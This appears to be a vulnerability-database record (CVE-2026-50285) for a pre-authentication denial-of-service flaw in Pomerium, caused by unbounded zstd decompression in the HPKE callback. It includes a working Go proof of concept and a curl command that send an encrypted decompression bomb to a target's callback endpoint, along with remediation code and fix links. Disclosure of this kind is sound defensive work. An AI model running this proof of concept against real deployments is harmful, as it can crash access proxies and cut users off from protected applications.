{"id":"CVE-2026-50285","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-50285","summary":"Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback","details":"## Summary\n\nThe HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable.\n- **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.\n- **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).\n- **User Interaction:** None\n- **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself.\n- **Confidentiality Impact:** None\n- **Integrity Impact:** None\n- **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy.\n\n## Affected Component\n\n- `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171)\n- `internal/authenticateflow/stateless.go` — `Callback` (line 385–393)\n- `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54\n\n## CWE\n\n- **CWE-400**: Uncontrolled Resource Consumption\n- **CWE-1284**: Improper Validation of Specified Quantity in Input\n\n## Description\n\n### Unbounded zstd Decompression in `decodeQueryStringV2`\n\n`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`):\n\n```go\nvar zstdDecoder, _ = zstd.NewReader(nil,\n    zstd.WithDecoderLowmem(true),\n)\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit\n    if err != nil {\n        return nil, err\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\n`WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.\n\nBy contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:\n\n```go\nr = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap\n```\n\nThe protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.\n\n### HPKE Does Not Block the Attack — Sender Validation Is Too Late\n\n`DecryptURLValues` for the V2 format (`url.go:107–126`):\n\n```go\ncase IsEncryptedURLV2(encrypted):\n    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled\n    // ...\n    sealed, err := decode(encrypted.Get(paramQueryV2))\n    // ...\n    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds\n    // ...\n    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED\n```\n\n`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.\n\nSender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`):\n\n```go\nsenderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)\n// ... zstd already completed ...\nerr = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker\n```\n\nThe decompression memory spike occurs unconditionally before rejection.\n\n### Pre-Auth Execution Chain on the Proxy Callback\n\nThe proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`):\n\n```go\nc := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()\nc.Path(\"/\").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)\n```\n\nFor Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.\n\nPomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):\n\n```go\nroot.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(\n    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))\n```\n\nThe full attack requires no credentials of any kind.\n\n**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.\n\n## Proof of Concept\n\n```bash\n# Step 1: Retrieve the receiver public key\ncurl -so receiver.pub \"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\" | xxd | head\n\n# Step 2: Build and send the decompression bomb (requires Go)\n```\n\n```go\npackage main\n\nimport (\n    \"encoding/base64\"\n    \"fmt\"\n    \"net/http\"\n    \"net/url\"\n    \"strings\"\n\n    \"github.com/klauspost/compress/zstd\"\n    \"github.com/pomerium/pomerium/pkg/hpke\"\n)\n\nfunc main() {\n    // Fetch receiver public key from the target\n    resp, _ := http.Get(\"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\")\n    pubBytes := make([]byte, 32)\n    resp.Body.Read(pubBytes)\n    resp.Body.Close()\n\n    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)\n\n    // Attacker generates their own sender key pair\n    attackerPriv, _ := hpke.GeneratePrivateKey()\n\n    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed\n    plain := \"x=\" + strings.Repeat(\"A\", 128*1024*1024)\n    enc, _ := zstd.NewWriter(nil)\n    compressed := enc.EncodeAll([]byte(plain), nil)\n\n    // Seal the bomb with attacker's private key → server's public key\n    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)\n\n    form := url.Values{\n        \"k\": {attackerPriv.PublicKey().String()},\n        \"q\": {base64.RawURLEncoding.EncodeToString(sealed)},\n    }\n\n    // Deliver to the pre-auth callback endpoint\n    target := \"https://TARGET_HOSTNAME/.pomerium/callback/?\" + form.Encode()\n    fmt.Printf(\"Sending bomb to: %s\\n\", target)\n    http.Get(target)\n    fmt.Println(\"Done — server allocated ~256 MB per request\")\n}\n```\n\nRepeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.\n\n## Impact\n\n- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).\n- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.\n- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.\n- No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.\n\n## Recommended Remediation\n\n### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)\n\nApply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:\n\n```go\nconst maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)\n    if err != nil {\n        return nil, err\n    }\n    if len(bs) > maxDecompressedQuerySize {\n        return nil, fmt.Errorf(\"hpke: decompressed query string exceeds maximum size (%d bytes)\", len(bs))\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\nThis fixes the root cause at the lowest layer and protects all callers unconditionally.\n\n### Option 2: Validate sender public key before decompressing\n\nRestructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:\n\n```go\n// In Stateless.Callback, before calling DecryptURLValues:\nsenderPublicKey, _ := PublicKeyFromString(r.Form.Get(\"k\"))\nif err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {\n    return err  // reject before decompression\n}\n// then proceed with decryption and decompression\n```\n\nThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","published":"2026-07-15T23:08:18Z","modified":"2026-07-15T23:15:14.600594645Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/pomerium/pomerium","fixedVersion":"0.32.8"}],"fix":{"url":"https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f","label":"pomerium/pomerium@593eb81"},"references":[{"type":"WEB","url":"https://github.com/pomerium/pomerium/security/advisories/GHSA-ggw3-5987-rx77"},{"type":"WEB","url":"https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f"},{"type":"PACKAGE","url":"https://github.com/pomerium/pomerium"},{"type":"WEB","url":"https://github.com/pomerium/pomerium/releases/tag/v0.32.8"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-15T23:15:14.600594645Z"}}